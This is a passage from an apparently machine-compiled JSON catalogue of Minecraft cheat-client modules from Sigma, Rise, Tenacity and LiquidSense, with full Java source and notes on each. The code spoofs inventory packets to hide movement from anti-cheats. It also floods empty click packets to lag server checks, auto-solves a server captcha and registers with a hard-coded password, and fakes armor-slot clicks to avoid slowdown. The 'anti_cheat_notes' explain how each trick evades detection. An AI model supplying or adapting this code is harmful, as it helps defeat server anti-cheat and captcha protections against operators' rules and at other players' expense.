(stack.getItem().getUnlocalizedName().contains(\"flint\")) ||\n                        (stack.getItem().getUnlocalizedName().contains(\"compass\")) ||\n                        (stack.getItem().getUnlocalizedName().contains(\"dyePowder\")) ||\n                        (stack.getItem().getUnlocalizedName().contains(\"feather\")) ||\n                        (stack.getItem().getUnlocalizedName().contains(\"bucket\")) ||\n                        (stack.getItem().getUnlocalizedName().contains(\"chest\") && !stack.getDisplayName().toLowerCase().contains(\"collect\")) ||\n                        (stack.getItem().getUnlocalizedName().contains(\"snow\")) ||\n                        (stack.getItem().getUnlocalizedName().contains(\"fish\")) ||\n                        (stack.getItem().getUnlocalizedName().contains(\"enchant\")) ||\n                        (stack.getItem().getUnlocalizedName().contains(\"exp\")) ||\n                        (stack.getItem().getUnlocalizedName().contains(\"shears\")) ||\n                        (stack.getItem().getUnlocalizedName().contains(\"anvil\")) ||\n                        (stack.getItem().getUnlocalizedName().contains(\"torch\")) ||\n                        (stack.getItem().getUnlocalizedName().contains(\"seeds\")) ||\n                        (stack.getItem().getUnlocalizedName().contains(\"leather\")) ||\n                        (stack.getItem().getUnlocalizedName().contains(\"reeds\")) ||\n                        (stack.getItem().getUnlocalizedName().contains(\"skull\")) ||\n                        (stack.getItem().getUnlocalizedName().contains(\"record\")) ||\n                        (stack.getItem().getUnlocalizedName().contains(\"snowball\")) ||\n                        (stack.getItem() instanceof ItemGlassBottle) ||\n                        (stack.getItem().getUnlocalizedName().contains(\"piston\")))){\n    \t\treturn true;\n    \t}            \n    \t\n    \treturn false;\n    }\n    public ArrayList<Integer>getWhitelistedItem(){\n    \treturn whitelistedItems;\n    }\n    private int getBlockCount() {\n        int blockCount = 0;\n        for (int i = 0; i < 45; i++) {\n            if (mc.thePlayer.inventoryContainer.getSlot(i).getHasStack()) {\n                ItemStack is = mc.thePlayer.inventoryContainer.getSlot(i).getStack();\n                Item item = is.getItem();\n                if (is.getItem() instanceof ItemBlock && !Scaffold.getBlacklistedBlocks().contains(((ItemBlock) item).getBlock())) {\n                    blockCount += is.stackSize;\n                }\n            }\n        }\n        return blockCount;\n    }\n    \n    private void getBestPickaxe(int slot){\n    \tfor (int i = 9; i < 45; i++) {\n\t\t\tif (mc.thePlayer.inventoryContainer.getSlot(i).getHasStack()) {\n\t\t\t\tItemStack is = mc.thePlayer.inventoryContainer.getSlot(i).getStack();\n\t\t\t\t\n\t\t\t\tif(isBestPickaxe(is) && pickaxeSlot != i){\n\t\t\t\t\tif(!isBestWeapon(is))\n\t\t\t\t\tif(!mc.thePlayer.inventoryContainer.getSlot(pickaxeSlot).getHasStack()){\t\n\t\t\t\t\t\tswap(i, pickaxeSlot - 36);\n\t\t\t\t\t\ttimer.reset();\n    \t\t\t\t\tif(((Number) settings.get(DELAY).getValue()).longValue() > 0)\n    \t\t\t\t\t\treturn;\n\t\t\t\t\t}else if(!isBestPickaxe(mc.thePlayer.inventoryContainer.getSlot(pickaxeSlot).getStack())){\n\t\t\t\t\t\tswap(i, pickaxeSlot - 36);\n\t\t\t\t\t\ttimer.reset();\n    \t\t\t\t\tif(((Number) settings.get(DELAY).getValue()).longValue() > 0)\n    \t\t\t\t\t\treturn;\n\t\t\t\t\t}\n\t\t\t\t\n\t\t\t\t}\n\t\t\t}\n    \t}\n    }\n    private void getBestShovel(int slot){\n    \tfor (int i = 9; i < 45; i++) {\n\t\t\tif (mc.thePlayer.inventoryContainer.getSlot(i).getHasStack()) {\n\t\t\t\tItemStack is = mc.thePlayer.inventoryContainer.getSlot(i).getStack();\n\t\t\t\t\n\t\t\t\tif(isBestShovel(is) && shovelSlot != i){\n\t\t\t\t\tif(!isBestWeapon(is))\n\t\t\t\t\tif(!mc.thePlayer.inventoryContainer.getSlot(shovelSlot).getHasStack()){\n\t\t\t\t\t\tswap(i, shovelSlot - 36);\n\t\t\t\t\t\ttimer.reset();\n    \t\t\t\t\tif(((Number) settings.get(DELAY).getValue()).longValue() > 0)\n    \t\t\t\t\t\treturn;\n\t\t\t\t\t}else if(!isBestShovel(mc.thePlayer.inventoryContainer.getSlot(shovelSlot).getStack())){\t\n\t\t\t\t\t\tswap(i, shovelSlot - 36);\n\t\t\t\t\t\ttimer.reset();\n    \t\t\t\t\tif(((Number) settings.get(DELAY).getValue()).longValue() > 0)\n    \t\t\t\t\t\treturn;\n\t\t\t\t\t}\n\t\t\t\t\n\t\t\t\t}\n\t\t\t}\n    \t}\n    }\n    private void getBestAxe(int slot){\n\n    \tfor (int i = 9; i < 45; i++) {\n\t\t\tif (mc.thePlayer.inventoryContainer.getSlot(i).getHasStack()) {\n\t\t\t\tItemStack is = mc.thePlayer.inventoryContainer.getSlot(i).getStack();\n\t\t\t\t\n\t\t\t\tif(isBestAxe(is) && axeSlot != i){\n\t\t\t\t\tif(!isBestWeapon(is))\n\t\t\t\t\tif(!mc.thePlayer.inventoryContainer.getSlot(axeSlot).getHasStack()){\n\t\t\t\t\t\tswap(i, axeSlot - 36);\n\t\t\t\t\t\ttimer.reset();\n    \t\t\t\t\tif(((Number) settings.get(DELAY).getValue()).longValue() > 0)\n    \t\t\t\t\t\treturn;\n\t\t\t\t\t}else if(!isBestAxe(mc.thePlayer.inventoryContainer.getSlot(axeSlot).getStack())){\n\t\t\t\t\t\tswap(i, axeSlot - 36);\n\t\t\t\t\t\ttimer.reset();\n    \t\t\t\t\tif(((Number) settings.get(DELAY).getValue()).longValue() > 0)\n    \t\t\t\t\t\treturn;\n\t\t\t\t\t}\n\t\t\t\t\n\t\t\t\t}\n\t\t\t}\n    \t}\n    }\n    private boolean isBestPickaxe(ItemStack stack){\n     \tItem item = stack.getItem();\n    \tif(!(item instanceof ItemPickaxe))\n    \t\treturn false;\n    \tfloat value = getToolEffect(stack);\n    \tfor (int i = 9; i < 45; i++) {\n            if (mc.thePlayer.inventoryContainer.getSlot(i).getHasStack()) {\n                ItemStack is = mc.thePlayer.inventoryContainer.getSlot(i).getStack();\n                if(getToolEffect(is) > value && is.getItem() instanceof ItemPickaxe){                \t\n                \treturn false;\n                }\n                \t\n            }\n        }\n    \treturn true;\n    }\n    private boolean isBestShovel(ItemStack stack){\n    \tItem item = stack.getItem();\n    \tif(!(item instanceof ItemSpade))\n    \t\treturn false;\n    \tfloat value = getToolEffect(stack);\n    \tfor (int i = 9; i < 45; i++) {\n            if (mc.thePlayer.inventoryContainer.getSlot(i).getHasStack()) {\n                ItemStack is = mc.thePlayer.inventoryContainer.getSlot(i).getStack();\n                if(getToolEffect(is) > value && is.getItem() instanceof ItemSpade){                \t\n                \treturn false;\n                }\n                \t\n            }\n        }\n    \treturn true;\n    }\n    private boolean isBestAxe(ItemStack stack){\n    \tItem item = stack.getItem();\n    \tif(!(item instanceof ItemAxe))\n    \t\treturn false;\n    \tfloat value = getToolEffect(stack);\n    \tfor (int i = 9; i < 45; i++) {\n            if (mc.thePlayer.inventoryContainer.getSlot(i).getHasStack()) {\n                ItemStack is = mc.thePlayer.inventoryContainer.getSlot(i).getStack();\n                if(getToolEffect(is) > value && is.getItem() instanceof ItemAxe && !isBestWeapon(stack)){                \n                \treturn false;\n                }\n                \t\n            }\n        }\n    \treturn true;\n    }\n    private float getToolEffect(ItemStack stack){\n    \tItem item = stack.getItem();\n    \tif(!(item instanceof ItemTool))\n    \t\treturn 0;\n    \tString name = item.getUnlocalizedName();\n    \tItemTool tool = (ItemTool)item;\n    \tfloat value = 1;\n    \tif(item instanceof ItemPickaxe){\n    \t\tvalue = tool.getStrVsBlock(stack, Blocks.stone);\n    \t\tif(name.toLowerCase().contains(\"gold\")){\n    \t\t\tvalue -= 5;\n    \t\t}\n    \t}else if(item instanceof ItemSpade){\n    \t\tvalue = tool.getStrVsBlock(stack, Blocks.dirt);\n    \t\tif(name.toLowerCase().contains(\"gold\")){\n    \t\t\tvalue -= 5;\n    \t\t}\n    \t}else if(item instanceof ItemAxe){\n    \t\tvalue = tool.getStrVsBlock(stack, Blocks.log);\n    \t\tif(name.toLowerCase().contains(\"gold\")){\n    \t\t\tvalue -= 5;\n    \t\t}\n    \t}else\n    \t\treturn 1f;\n\t\tvalue += EnchantmentHelper.getEnchantmentLevel(Enchantment.efficiency.effectId, stack) * 0.0075D;\n\t\tvalue += EnchantmentHelper.getEnchantmentLevel(Enchantment.unbreaking.effectId, stack)/100d;\n    \treturn value;\n    }\n    private boolean isBadPotion(ItemStack stack) {\n        if (stack != null && stack.getItem() instanceof ItemPotion) {\n            final ItemPotion potion = (ItemPotion) stack.getItem();\n            if(potion.getEffects(stack) == null)\n            \treturn true;\n            for (final Object o : potion.getEffects(stack)) {\n                final PotionEffect effect = (PotionEffect) o;\n                if (effect.getPotionID() == Potion.poison.getId() || effect.getPotionID() == Potion.harm.getId() || effect.getPotionID() == Potion.moveSlowdown.getId() || effect.getPotionID() == Potion.weakness.getId()) {\n                \treturn true;\n                }\n            }\n        }\n        return false;\n    }\n    boolean invContainsType(int type){\n    \t\n    \tfor(int i = 9; i < 45; i++){\n    \t\tif (mc.thePlayer.inventoryContainer.getSlot(i).getHasStack()) {\n\t\t\t\tItemStack is = mc.thePlayer.inventoryContainer.getSlot(i).getStack();\n\t\t\t\tItem item = is.getItem();\n\t\t\t\tif(item instanceof ItemArmor){\n\t\t\t\t\tItemArmor armor = (ItemArmor)item;\n\t\t\t\t\tif(type == armor.armorType){\n\t\t\t\t\t\treturn true;\n\t\t\t\t\t}\t\n\t\t\t\t}\n    \t\t}\n    \t}\n    \treturn false;\n    }\n    public void getBestArmor(){\n    \tfor(int type = 1; type < 5; type++){\n    \t\tif(mc.thePlayer.inventoryContainer.getSlot(4 + type).getHasStack()){\n    \t\t\tItemStack is = mc.thePlayer.inventoryContainer.getSlot(4 + type).getStack();\n    \t\t\tif(AutoArmor.isBestArmor(is, type)){\n    \t\t\t\tcontinue;\n    \t\t\t}else{\n    \t\t\t\tdrop(4 + type);\n    \t\t\t}\n    \t\t}\n    \t\tfor (int i = 9; i < 45; i++) {\n    \t\t\tif (mc.thePlayer.inventoryContainer.getSlot(i).getHasStack()) {\n    \t\t\t\tItemStack is = mc.thePlayer.inventoryContainer.getSlot(i).getStack();\n    \t\t\t\tif(AutoArmor.isBestArmor(is, type) && AutoArmor.getProtection(is) > 0){\n    \t\t\t\t\tshiftClick(i);\n    \t\t\t\t\ttimer.reset();\n    \t\t\t\t\tif(((Number) settings.get(DELAY).getValue()).longValue() > 0)\n    \t\t\t\t\t\treturn;\n    \t\t\t\t}\n    \t\t\t}\n            }\n        }\n    }\n}\n\n// NOTE (AI): Sigma 4.11 InventoryManager: complete 498-line file. Uses playerController.windowClick (lines ~151-157) which builds C0E; the packet class is imported at line ~29. Full scoring and click logic for armor/tool management.\n",
      "code_source": "Sigma 4.11, info/sigmaclient/module/impl/player/InventoryManager.java",
      "vanilla_hook": "EventTick-driven with a Timer; windowClick wraps C0E.",
      "anti_cheat_notes": "Inventory managers are low-risk; the detectable part is click speed and moving while the container is open, which anti-cheats measure per-window.",
      "variations": "Only Sigma ships a C0E-referencing InventoryManager; Spicy's InventoryManager uses C09/C16 instead."
     },
     {
      "name": "InvMove (packet re-wrap)",
      "found_in": [
       "Rise 5.99"
      ],
      "purpose": "Allow movement while an inventory GUI is open by re-sending clicks under a fake inventory-open state.",
      "how_it_works": "In packet mode, InvMove cancels C0DPacketCloseWindow and C0EPacketClickWindow, then replays the click preceded by a C16 OPEN_INVENTORY_ACHIEVEMENT status and followed by a C0DPacketCloseWindow, all via sendPacketWithoutEvent so the server sees a coherent open-click-close sequence while the player keeps moving.",
      "detailed_code": "// ===== FILE: Rise 5.99, dev/rise/module/impl/movement/InvMove.java =====\n/*\n Copyright Alan Wood 2021\n None of this code to be reused without my written permission\n Intellectual Rights owned by Alan Wood\n */\npackage dev.rise.module.impl.movement;\n\nimport dev.rise.event.impl.motion.PreMotionEvent;\nimport dev.rise.event.impl.packet.PacketSendEvent;\nimport dev.rise.module.Module;\nimport dev.rise.module.api.ModuleInfo;\nimport dev.rise.module.enums.Category;\nimport dev.rise.setting.impl.BooleanSetting;\nimport dev.rise.setting.impl.NumberSetting;\nimport dev.rise.ui.clickgui.impl.ClickGUI;\nimport dev.rise.ui.clickgui.impl.strikeless.StrikeGUI;\nimport dev.rise.util.player.PacketUtil;\nimport net.minecraft.client.gui.GuiChat;\nimport net.minecraft.client.settings.GameSettings;\nimport net.minecraft.client.settings.KeyBinding;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C0DPacketCloseWindow;\nimport net.minecraft.network.play.client.C0EPacketClickWindow;\nimport net.minecraft.network.play.client.C16PacketClientStatus;\n\n@ModuleInfo(name = \"InvMove\", description = \"Lets you move while in Guis\", category = Category.MOVEMENT)\npublic final class InvMove extends Module {\n\n    private final NumberSetting slowdown = new NumberSetting(\"Slow Down\", this, 1, 0.1, 1, 0.1);\n    private final BooleanSetting packet = new BooleanSetting(\"Packet\", this, false);\n\n    private final KeyBinding[] affectedBindings = new KeyBinding[]{\n            mc.gameSettings.keyBindForward,\n            mc.gameSettings.keyBindBack,\n            mc.gameSettings.keyBindRight,\n            mc.gameSettings.keyBindLeft,\n            mc.gameSettings.keyBindJump\n    };\n\n    @Override\n    public void onPreMotion(final PreMotionEvent event) {\n        if (mc.currentScreen != null && !(mc.currentScreen instanceof GuiChat)) {\n            for (final KeyBinding a : affectedBindings) {\n                a.setKeyPressed(GameSettings.isKeyDown(a));\n            }\n\n            if (mc.currentScreen != null) {\n                final double s = slowdown.getValue();\n\n                if (!(mc.currentScreen instanceof ClickGUI || mc.currentScreen instanceof StrikeGUI)) {\n                    mc.thePlayer.motionX *= s;\n                    mc.thePlayer.motionZ *= s;\n                }\n            }\n        }\n    }\n\n    @Override\n    public void onPacketSend(final PacketSendEvent event) {\n        final Packet<?> p = event.getPacket();\n\n        if (packet.isEnabled()) {\n            if (p instanceof C0DPacketCloseWindow)\n                event.setCancelled(true);\n\n            if (p instanceof C0EPacketClickWindow) {\n                event.setCancelled(true);\n\n                PacketUtil.sendPacketWithoutEvent(new C16PacketClientStatus(C16PacketClientStatus.EnumState.OPEN_INVENTORY_ACHIEVEMENT));\n                PacketUtil.sendPacketWithoutEvent(event.getPacket());\n                PacketUtil.sendPacketWithoutEvent(new C0DPacketCloseWindow(mc.thePlayer.inventoryContainer.windowId));\n            }\n\n            if (p instanceof C16PacketClientStatus) {\n                final C16PacketClientStatus packetClientStatus = (C16PacketClientStatus) event.getPacket();\n                if (packetClientStatus.getStatus() == C16PacketClientStatus.EnumState.OPEN_INVENTORY_ACHIEVEMENT)\n                    event.setCancelled(true);\n            }\n        }\n    }\n}\n\n// NOTE (AI): Rise 5.99 InvMove: complete file. Packet mode (lines ~63-79) cancels C0E, sends C16 open + the click + C0D close without events, and suppresses C16 open status so the GUI state stays hidden.\n",
      "code_source": "Rise 5.99, dev/rise/module/impl/movement/InvMove.java",
      "vanilla_hook": "PacketSendEvent; PreMotionEvent for movement input.",
      "anti_cheat_notes": "The re-wrap makes the server believe the inventory opened and closed cleanly, hiding the fact that clicks happened while the player moved. Watchdog and newer NCP track open/close sequences, which is why the C16/C0D pair must be exact.",
      "variations": "Rise 6.2.4/6.1.30 ship CancelInventoryMove (cancels C16/C0B-OPEN_INVENTORY/C0D entirely) and BufferAbuseInventoryMove as separate modes."
     },
     {
      "name": "BufferAbuseInventoryMove",
      "found_in": [
       "Rise 6.2.4",
       "Rise 6.1.30"
      ],
      "purpose": "Abuse the server's transaction buffer by sending C0E clicks while the inventory is open, delaying watchdog's transaction-based movement checks.",
      "how_it_works": "Sends empty C0EPacketClickWindow packets (no-arg constructor) on a tick cycle while an inventory screen is open, and cancels legit C0E so the client's own clicks do not leak. The flood keeps the server's pending-transaction map busy so its confirm-based timing checks lag.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/movement/inventorymove/BufferAbuseInventoryMove.java =====\npackage com.alan.clients.module.impl.movement.inventorymove;\n\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.motion.JumpEvent;\nimport com.alan.clients.event.impl.motion.PreMotionEvent;\nimport com.alan.clients.event.impl.motion.PreUpdateEvent;\nimport com.alan.clients.event.impl.motion.StrafeEvent;\nimport com.alan.clients.event.impl.other.WorldChangeEvent;\nimport com.alan.clients.event.impl.packet.PacketSendEvent;\nimport com.alan.clients.module.impl.movement.InventoryMove;\nimport com.alan.clients.util.packet.PacketUtil;\nimport com.alan.clients.value.Mode;\nimport com.alan.clients.value.impl.NumberValue;\nimport net.minecraft.client.gui.GuiChat;\nimport net.minecraft.client.settings.GameSettings;\nimport net.minecraft.client.settings.KeyBinding;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C0EPacketClickWindow;\n\nimport java.util.concurrent.ConcurrentLinkedQueue;\n\npublic class BufferAbuseInventoryMove extends Mode<InventoryMove> {\n\n    private final NumberValue clicksSetting = new NumberValue(\"Clicks\", this, 3, 2, 10, 1);\n    private final NumberValue amount = new NumberValue(\"Amount\", this, 5, 1, 10, 1);\n\n    private final ConcurrentLinkedQueue<Packet<?>> packets = new ConcurrentLinkedQueue<>();\n\n    private boolean done, sent;\n    private int clicks;\n\n    public BufferAbuseInventoryMove(String name, InventoryMove parent) {\n        super(name, parent);\n    }\n\n    @EventLink\n    public final Listener<PreMotionEvent> onPreMotionEvent = event -> {\n        if (this.canAbuse()) {\n            if (!this.sent) {\n                if (!this.done) {\n                    this.done = true;\n                } else {\n                    for (int i = 0; i < this.amount.getValue().intValue(); i++) {\n                        PacketUtil.sendNoEvent(new C0EPacketClickWindow());\n                    }\n                    packets.forEach(PacketUtil::sendNoEvent);\n                    packets.clear();\n                    this.sent = true;\n                }\n            }\n        } else {\n            this.done = false;\n            this.sent = false;\n        }\n    };\n\n    @EventLink\n    public final Listener<StrafeEvent> onStrafe = event -> {\n        if (this.canAbuse() && !this.sent) {\n            event.setCancelled();\n        }\n    };\n\n    @EventLink\n    public final Listener<JumpEvent> onJump = event -> {\n        if (this.canAbuse() && !this.sent) {\n            event.setCancelled();\n        }\n    };\n\n    @EventLink\n    public final Listener<PacketSendEvent> onPacketSend = event -> {\n        final Packet<?> p = event.getPacket();\n\n        if (p instanceof C0EPacketClickWindow) {\n            if (this.canAbuse() && !this.sent) {\n                event.setCancelled();\n                packets.add(p);\n                return;\n            }\n            this.clicks++;\n        }\n    };\n\n    @EventLink\n    public final Listener<WorldChangeEvent> onWorldChange = event -> {\n        packets.clear();\n    };\n\n    private boolean canAbuse() {\n        return clicks > 0 && clicks % this.clicksSetting.getValue().intValue() == 0;\n    }\n\n    private final KeyBinding[] AFFECTED_BINDINGS = new KeyBinding[]{\n            mc.gameSettings.keyBindForward,\n            mc.gameSettings.keyBindBack,\n            mc.gameSettings.keyBindRight,\n            mc.gameSettings.keyBindLeft,\n            mc.gameSettings.keyBindJump\n    };\n\n    @EventLink\n    public final Listener<PreUpdateEvent> onPreUpdate = event -> {\n        if (mc.currentScreen instanceof GuiChat || mc.currentScreen == this.getClickGUI()) {\n            return;\n        }\n\n        for (final KeyBinding bind : AFFECTED_BINDINGS) {\n            bind.setPressed(GameSettings.isKeyDown(bind));\n        }\n    };\n}\n\n// NOTE (AI): Rise 6.2.4 BufferAbuseInventoryMove: complete file. Sends raw no-arg C0E (line ~45) on a cycle and cancels legit C0E (line ~76).\n",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/movement/inventorymove/BufferAbuseInventoryMove.java",
      "vanilla_hook": "PreUpdateEvent + PacketSendEvent; PacketUtil.sendNoEvent.",
      "anti_cheat_notes": "The no-arg C0E has windowId 0 and null item, which vanilla processes as a click on the player inventory; anti-cheats that do not validate the click's item echo will process it and queue a transaction, inflating the buffer. Very detectable by servers that count clicks per window.",
      "variations": "Rise 6.1.30 ships the same module; the WatchdogDisabler in 6.2.4 also watches C0E windowId to decide when to send C16 status."
     },
     {
      "name": "Auto (Redesky captcha click)",
      "found_in": [
       "Rise 5.99"
      ],
      "purpose": "Automatically click the Redesky captcha item and send register/login commands on login.",
      "how_it_works": "Intercepts S2FPacketSetSlot; when a slot's item display name contains 'aqui', sends C0EPacketClickWindow(windowId, slotId, 0, 0, item, 1919) via the send queue, confirming the captcha. A companion register/login routine sends C01 chat commands on world join.",
      "detailed_code": "// ===== FILE: Rise 5.99, dev/rise/module/impl/other/Auto.java =====\n/*\n Copyright Alan Wood 2021\n None of this code to be reused without my written permission\n Intellectual Rights owned by Alan Wood\n */\npackage dev.rise.module.impl.other;\n\nimport dev.rise.event.impl.motion.PreMotionEvent;\nimport dev.rise.event.impl.packet.PacketReceiveEvent;\nimport dev.rise.module.Module;\nimport dev.rise.module.api.ModuleInfo;\nimport dev.rise.module.enums.Category;\nimport dev.rise.setting.impl.BooleanSetting;\nimport net.minecraft.item.ItemStack;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C0EPacketClickWindow;\nimport net.minecraft.network.play.server.S2FPacketSetSlot;\n\n@ModuleInfo(name = \"Auto\", description = \"Automatically does things for you\", category = Category.OTHER)\npublic final class Auto extends Module {\n\n    private final BooleanSetting redeskyAutoCaptcha = new BooleanSetting(\"Redesky Auto Captcha\", this, false);\n    private final BooleanSetting redeskyAutoRegister = new BooleanSetting(\"Redesky Auto Register\", this, false);\n\n    boolean sentReg, sentLogin;\n    int ticks;\n    int amountFlagged;\n\n    @Override\n    public void onPacketReceive(final PacketReceiveEvent event) {\n\n        final Packet packet = event.getPacket();\n\n        if (redeskyAutoCaptcha.isEnabled()) {\n\n            if (packet instanceof S2FPacketSetSlot) {\n\n                final S2FPacketSetSlot S2F = (S2FPacketSetSlot) packet;\n\n                if (S2F.func_149175_c() == 0) {\n                    return;\n                }\n\n                final ItemStack item = S2F.func_149174_e();\n\n                if (item != null && item.getDisplayName().toLowerCase().contains(\"aqui\")) {\n\n                    mc.thePlayer.sendQueue.addToSendQueue(new C0EPacketClickWindow(S2F.func_149175_c(), S2F.func_149173_d(), 0, 0, item, (short) 1919));\n\n                }\n\n            }\n\n        }\n\n    }\n\n    @Override\n    public void onPreMotion(final PreMotionEvent event) {\n\n        if (mc.thePlayer.ticksExisted % 20 == 0)\n            amountFlagged--;\n\n        if (amountFlagged < 0)\n            amountFlagged = 0;\n\n        if (redeskyAutoRegister.isEnabled()) {\n\n            if (mc.thePlayer.ticksExisted == 1) {\n                sentLogin = sentReg = false;\n            }\n\n            if (mc.currentScreen == null) {\n                ticks++;\n                if (ticks > 30) {\n\n                    if (!sentReg) {\n                        mc.thePlayer.sendChatMessage(\"/register Lolxd00 Lolxd00\");\n                        sentReg = true;\n                    } else if (!sentLogin) {\n                        mc.thePlayer.sendChatMessage(\"/login Lolxd00\");\n                        sentLogin = true;\n                    }\n\n                }\n\n\n            } else {\n                ticks = 0;\n            }\n\n        }\n\n    }\n\n\n}\n\n// NOTE (AI): Rise 5.99 Auto: complete file. C0E captcha click (line ~48) built from the S2F slot data with a fixed action number 1919.\n",
      "code_source": "Rise 5.99, dev/rise/module/impl/other/Auto.java",
      "vanilla_hook": "PacketReceiveEvent (S2FPacketSetSlot); PreMotionEvent for timing.",
      "anti_cheat_notes": "Server-specific bot; the captcha is designed to be clicked by humans, so the module just automates a UI action. No movement flags involved.",
      "variations": "Unique to Rise 5.99 in this corpus."
     },
     {
      "name": "NoSlowModule (armor-slot click)",
      "found_in": [
       "Tenacity 6.0"
      ],
      "purpose": "Bypass use-item slowdown by swapping the held item to an armor slot with a window click instead of a C08 use packet.",
      "how_it_works": "While using an item and not in a GUI, send C0DPacketCloseWindow(0) followed by C0EPacketClickWindow(0, 36 + currentItem, 0, 6, null, nextTransactionID). Mode 6 with button 0 swaps the held item into the armor slot, ending the use state server-side without the slowdown, then the item is swapped back. A 'Watchdog' mode toggles this per-AC.",
      "detailed_code": "// ===== FILE: Tenacity 6.0, dev/tenacity/module/impl/movement/NoSlowModule.java =====\npackage dev.tenacity.module.impl.movement;\n\nimport dev.tenacity.event.Event;\nimport dev.tenacity.event.IEventListener;\nimport dev.tenacity.event.impl.packet.PacketReceiveEvent;\nimport dev.tenacity.event.impl.player.MotionEvent;\nimport dev.tenacity.event.impl.player.SlowDownEvent;\nimport dev.tenacity.module.Module;\nimport dev.tenacity.module.ModuleCategory;\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport dev.tenacity.setting.impl.ModeSetting;\nimport net.minecraft.item.ItemSword;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C0DPacketCloseWindow;\nimport net.minecraft.network.play.client.C0EPacketClickWindow;\nimport net.minecraft.network.play.server.S2FPacketSetSlot;\nimport net.minecraft.world.gen.layer.GenLayerEdge;\n\npublic final class NoSlowModule extends Module {\n\n    private boolean isItemGhost;\n\n    private final ModeSetting mode = new ModeSetting(\"Mode\", \"Vanilla\", \"Watchdog\");\n\n    public NoSlowModule() {\n        super(\"NoSlow\", \"Makes you not take slow down\", ModuleCategory.MOVEMENT);\n        initializeSettings(mode);\n    }\n\n    private final IEventListener<SlowDownEvent> onSlowDownEvent = Event::cancel;\n\n    private final IEventListener<MotionEvent> onMotionEvent = event -> {\n        switch (mode.getCurrentMode()) {\n            case \"Vanilla\": {\n                if (event.isPre() && mc.thePlayer != null) {\n                    if (!isItemGhost)\n                        sendBypass();\n                    if (!mc.thePlayer.isUsingItem())\n                        isItemGhost = false;\n                }\n            }\n            case \"Watchdog\": {\n                if (mc.thePlayer.isUsingItem()) {\n                    if (mc.currentScreen == null && mc.thePlayer.getHeldItem() != null) {\n                    }\n                }\n                break;\n            }\n        }\n    };\n\n    private final IEventListener<PacketReceiveEvent> onPacketReceiveEvent = event -> {\n        if (event.getPacket() instanceof S2FPacketSetSlot && mc.thePlayer != null) {\n            final S2FPacketSetSlot s2f = (S2FPacketSetSlot) event.getPacket();\n            if (s2f.func_149175_c() == 0 && mc.thePlayer.isUsingItem() && mc.currentScreen == null && mc.thePlayer.getHeldItem() != null && !(mc.thePlayer.getHeldItem().getItem() instanceof ItemSword)) {\n                event.cancel();\n                //isItemGhost = false;\n            }\n        }\n    };\n\n    private void sendBypass() {\n        if (mc.thePlayer.isUsingItem() && mc.currentScreen == null && mc.thePlayer.getHeldItem() != null && !(mc.thePlayer.getHeldItem().getItem() instanceof ItemSword)) {\n            mc.getNetHandler().addToSendQueue(new C0DPacketCloseWindow(0));\n            mc.getNetHandler().addToSendQueue(new C0EPacketClickWindow(0, 36 + mc.thePlayer.inventory.currentItem, 0, 6, null, mc.thePlayer.inventoryContainer.getNextTransactionID(mc.thePlayer.inventory)));\n            isItemGhost = true;\n        }\n    }\n}\n\n// NOTE (AI): Tenacity 6.0 NoSlowModule: complete file. The click-window bypass (line ~66-67) swaps the held item to armor slot 6 to clear the use state; S2F slot cancels keep the ghost item hidden.\n",
      "code_source": "Tenacity 6.0, dev/tenacity/module/impl/movement/NoSlowModule.java",
      "vanilla_hook": "SlowDownEvent cancel + MotionEvent; PacketReceiveEvent to cancel S2F echoes.",
      "anti_cheat_notes": "The armor-swap click is an unusual pattern; servers that validate windowId 0 clicks against the open container accept it (window 0 is always the player inventory). Watchdog mode exists because the swap timing is AC-sensitive.",
      "variations": "Only Tenacity uses the click-window variant; other clients use the C08 use form."
     },
     {
      "name": "MixinPlayerControllerMP (ClickWindow event)",
      "found_in": [
       "LiquidSense Dev"
      ],
      "purpose": "Route every inventory click through a cancelable ClickWindowEvent before the C0E is queued, so LiquidBounce modules can veto or observe clicks.",
      "how_it_works": "@Overwrite of PlayerControllerMP.windowClick: build ClickWindowEvent, call it on the client event manager, return null if cancelled; otherwise run slotClick locally, then addToSendQueue(new C0EPacketClickWindow(windowId, slotId, mouseButtonClicked, mode, itemstack, (short) -1)). The computed getNextTransactionID value is discarded.",
      "detailed_code": "// ===== FILE: LiquidSense Dev, net/ccbluex/liquidbounce/injection/forge/mixins/entity/MixinPlayerControllerMP.java =====\n/*\n * LiquidBounce Hacked Client\n * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge.\n * https://github.com/CCBlueX/LiquidBounce/\n */\npackage net.ccbluex.liquidbounce.injection.forge.mixins.entity;\n\nimport net.ccbluex.liquidbounce.LiquidBounce;\nimport net.ccbluex.liquidbounce.event.AttackEvent;\nimport net.ccbluex.liquidbounce.event.ClickWindowEvent;\nimport net.ccbluex.liquidbounce.features.module.modules.exploit.AbortBreaking;\nimport net.minecraft.client.multiplayer.PlayerControllerMP;\nimport net.minecraft.client.network.NetHandlerPlayClient;\nimport net.minecraft.entity.Entity;\nimport net.minecraft.entity.player.EntityPlayer;\nimport net.minecraft.item.ItemStack;\nimport net.minecraft.network.play.client.C0EPacketClickWindow;\nimport net.minecraftforge.fml.relauncher.Side;\nimport net.minecraftforge.fml.relauncher.SideOnly;\nimport org.spongepowered.asm.mixin.Final;\nimport org.spongepowered.asm.mixin.Mixin;\nimport org.spongepowered.asm.mixin.Overwrite;\nimport org.spongepowered.asm.mixin.Shadow;\nimport org.spongepowered.asm.mixin.injection.At;\nimport org.spongepowered.asm.mixin.injection.Inject;\nimport org.spongepowered.asm.mixin.injection.callback.CallbackInfo;\nimport org.spongepowered.asm.mixin.injection.callback.CallbackInfoReturnable;\n\n@Mixin(PlayerControllerMP.class)\n@SideOnly(Side.CLIENT)\npublic class MixinPlayerControllerMP {\n\n    @Inject(method = \"attackEntity\", at = @At(value = \"INVOKE\", target = \"Lnet/minecraft/client/multiplayer/PlayerControllerMP;syncCurrentPlayItem()V\"))\n    private void attackEntity(EntityPlayer entityPlayer, Entity targetEntity, CallbackInfo callbackInfo) {\n        LiquidBounce.eventManager.callEvent(new AttackEvent(targetEntity));\n    }\n\n    @Inject(method = 